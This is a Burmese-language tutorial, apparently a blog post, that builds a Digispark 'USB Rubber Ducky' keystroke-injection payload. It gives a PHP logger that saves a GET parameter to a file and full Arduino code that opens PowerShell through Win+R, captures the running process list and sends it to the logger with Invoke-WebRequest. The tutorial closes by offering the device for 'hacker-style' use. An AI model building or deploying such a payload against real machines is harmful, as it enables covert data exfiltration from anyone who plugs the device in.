Info Grab [PowerShell+Digispark USB Rubber Ducky]

PowerShell အေသးစိတ္ေလ့လာမယ္ဆိုရင္ေတာ့ ( ဒီမွာ ) ေလ့လာႏိုင္ပါတယ္။ တျခားေကာင္းတဲ့ ေနရာေတြမွာလည္း စိတ္ၾကိုက္ေလ့လာနိုင္ပါတယ္။

Starting PowerShell

Command Prompt > powershell
C:\Users\ASUS>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\ASUS>

Getting All commands from current session

Get-Command

Example

PS C:\Users\ASUS> Get-Command

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           Add-ProvisionedAppxPackage                         3.0        Dism
Alias           Apply-WindowsUnattend                              3.0        Dism
Alias           Disable-PhysicalDiskIndication                     2.0.0.0    Storage
Alias           Disable-StorageDiagnosticLog                       2.0.0.0    Storage
Alias           Enable-PhysicalDiskIndication                      2.0.0.0    Storage
Alias           Enable-StorageDiagnosticLog                        2.0.0.0    Storage
Alias           Flush-Volume                                       2.0.0.0    Storage
Alias           Get-DiskSNV                                        2.0.0.0    Storage
Alias           Get-PhysicalDiskSNV                                2.0.0.0    Storage
Alias           Get-ProvisionedAppxPackage                         3.0        Dism
Alias           Get-StorageEnclosureSNV                            2.0.0.0    Storage
Alias           Initialize-Volume                                  2.0.0.0    Storage
Alias           Move-SmbClient                                     2.0.0.0    SmbWitness
Alias           Remove-ProvisionedAppxPackage                      3.0        Dism

Using Variables

$loc=Get-Location

$loc ကိုျပန္ၾကည့္မယ္ဆိုရင္

PS C:\Users\ASUS> $loc

Path
----
C:\Users\ASUS

Invoke Web Request

Invoke-WebRequest http://localhost/logger.php?lol=test

logger.php ဆိုတာကေရာဘာလဲ? lol ဆိုတဲ့ parameter value ကို သိမ္းထားလို႕ရေအာင္လုပ္ထားတဲ့ php file ပါ။

<?php

$data=$_GET['lol'];
$file=fopen("data.txt", "a");
fwrite($file, $data);

?>

ဒီလိုဆို data.txt ထဲမွာ lol= ေနာက္က value ေတြရွိေနမွာေပါ့။ ဟုတ္ျပီ ဒီလိုဆိုရင္ က်ေနာ္တို႕ပထမဆံုး powershell ကရလာတဲ့ command ကို variable တစ္ခုခုထဲထည့္ထားမယ္။ ps နဲ႕စမ္းလိုက္မယ္။

$process=ps

ဒီ variable ကို Web Request ကိုသံုးျပီးေတာ့ က်ေနာ္တို႕ logger.php ဆီကို lol parameter ကေနတစ္ဆင့္ပို႕လိုက္မယ္။

$process=psInvoke-WebRequest http://localhost/logger.php?lol=$process

data.txt ကိုျပန္ၾကည့္ရေအာင္။

ဒီလိုဆို PowerShell ကေန Info grabbing ကိုေတာ့နားလည္သြားျပီ။ ေနာက္တစ္ပိုင္းကေတာ့ Rubber Ducky နဲ႕လုပ္မယ္။

Digispark as Keyboard

File→Examples→DigisparkKeyboard→Keyboard

Keyboard အျဖစ္သံုးတဲ့ Example ကို Arduino IDE မွာ ၾကည့္လို႕ရပါတယ္။ Adruino IDE နဲ႕ digispark နဲ႕ခ်ိတ္ဆက္တဲ့နည္ကိုေတာ့ ( ဒီမွာ ) ေလ့လာႏိုင္ပါတယ္။

Example ကိုၾကည့္မယ္။

#include "DigiKeyboard.h"

void setup() {
  // don't need to set anything up to use DigiKeyboard
}


void loop() {
  // this is generally not necessary but with some older systems it seems to
  // prevent missing the first character after a delay:
  DigiKeyboard.sendKeyStroke(0);
  
  // Type out this string letter by letter on the computer (assumes US-style
  // keyboard)
  DigiKeyboard.println("Hello Digispark!");
  
  // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
  // if doing keyboard stuff because it keeps talking to the computer to make
  // sure the computer knows the keyboard is alive and connected
  DigiKeyboard.delay(5000);
}

DigiKeyboard.sendKeyStroke(0); ကေတာ့ delay လုပ္ျပီးတဲ့အခါမွာ ပထမဆံုး စာလံုးေတြေပ်ာက္ေနတတ္လို႕ သံုးတာပါ။ ေနာက္တစ္ခုကေတာ့ DigiKeyboard.println() မွာ ကိုယ္ေရးေစခ်င္တဲ့ ဟာကိုထည့္ရတာျဖစ္ပါတယ္။ ေနာက္ဆံုးတစ္ခုကေတာ့ delay ေပါ့။ ဟုတ္ျပီ။ ဒီေတာ့ powershell ကိုပဲအရင္ဖြင့္ရေအာင္။

DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(2000);
DigiKeyboard.println("powershell");
DigiKeyboard.delay(2000);

MOD_GUI_LEFT က Windows ကိုေျပာတာပါ KEY_R ကေတာ့ R ေပါ့။ Windows + R ဆိုေတာ့ Run Box ေပၚလာမယ္။ အဲ့ထဲမွာ powershell လို႕ေရးလိုက္တယ္ဆို powershell ေပၚလာမယ္ဆိုတာေတာ့သိျပီးသားေနာ္။

ဒါျပီးရင္ခုနရိုက္ေစခ်င္တဲ့ process ေတြကိုက်ေနာ္တို႕ Web Server ဆီကိုပို႕မယ္ဆိုေတာ့။

DigiKeyboard.println("$process=ps");
DigiKeyboard.delay(2000);
DigiKeyboard.println("Invoke-WebRequest http://localhost/logger.php?lol=$process");
DigiKeyboard.delay(2000);

ဒီေနရာမွာတစ္ခုရွိတာက loop() ထဲမွာေရးထားတာျဖစ္တဲ့အတြက္ loop ထဲကေနျပီးရင္ထြက္မယ္ဆိုတာေလးထည့္ေပးဖို႕လိုပါတယ္။

i=0 ထားထားျပီး က်ေနာ္တို႕လုပ္ခ်င္တာေတြလုပ္အျပီးမွာ i=1 ထားခဲ့ပါတယ္။ က်ေနာ္တို႕လုပ္ခ်င္တာေတြက i=0 မွာပဲလုပ္မွာျဖစ္ပါတယ္။ ဒီေတာ့

#include "DigiKeyboard.h"

void setup() {
  // don't need to set anything up to use DigiKeyboard
}

int i = 0;
void loop() {
    if (!i) {
        DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
        DigiKeyboard.sendKeyStroke(0);
        DigiKeyboard.delay(2000);
        DigiKeyboard.println("powershell");
        DigiKeyboard.delay(2000);
        DigiKeyboard.println("$process=ps");
        DigiKeyboard.delay(2000);
         DigiKeyboard.println("Invoke-WebRequest http://localhost/logger.php?lol=$process");
        DigiKeyboard.delay(2000);
        i = 1;
    }
}

Upload တင္ျပီးရင္ေတာ့ Digispark ကို USB Rubber Ducky အေနနဲ႕ Hacker ဆန္ဆန္အသံုးျပဳလို႕ရပါျပီ။ ေအာက္က Video ေလးကိုၾကည့္ပါ။

Thanks for reading 😀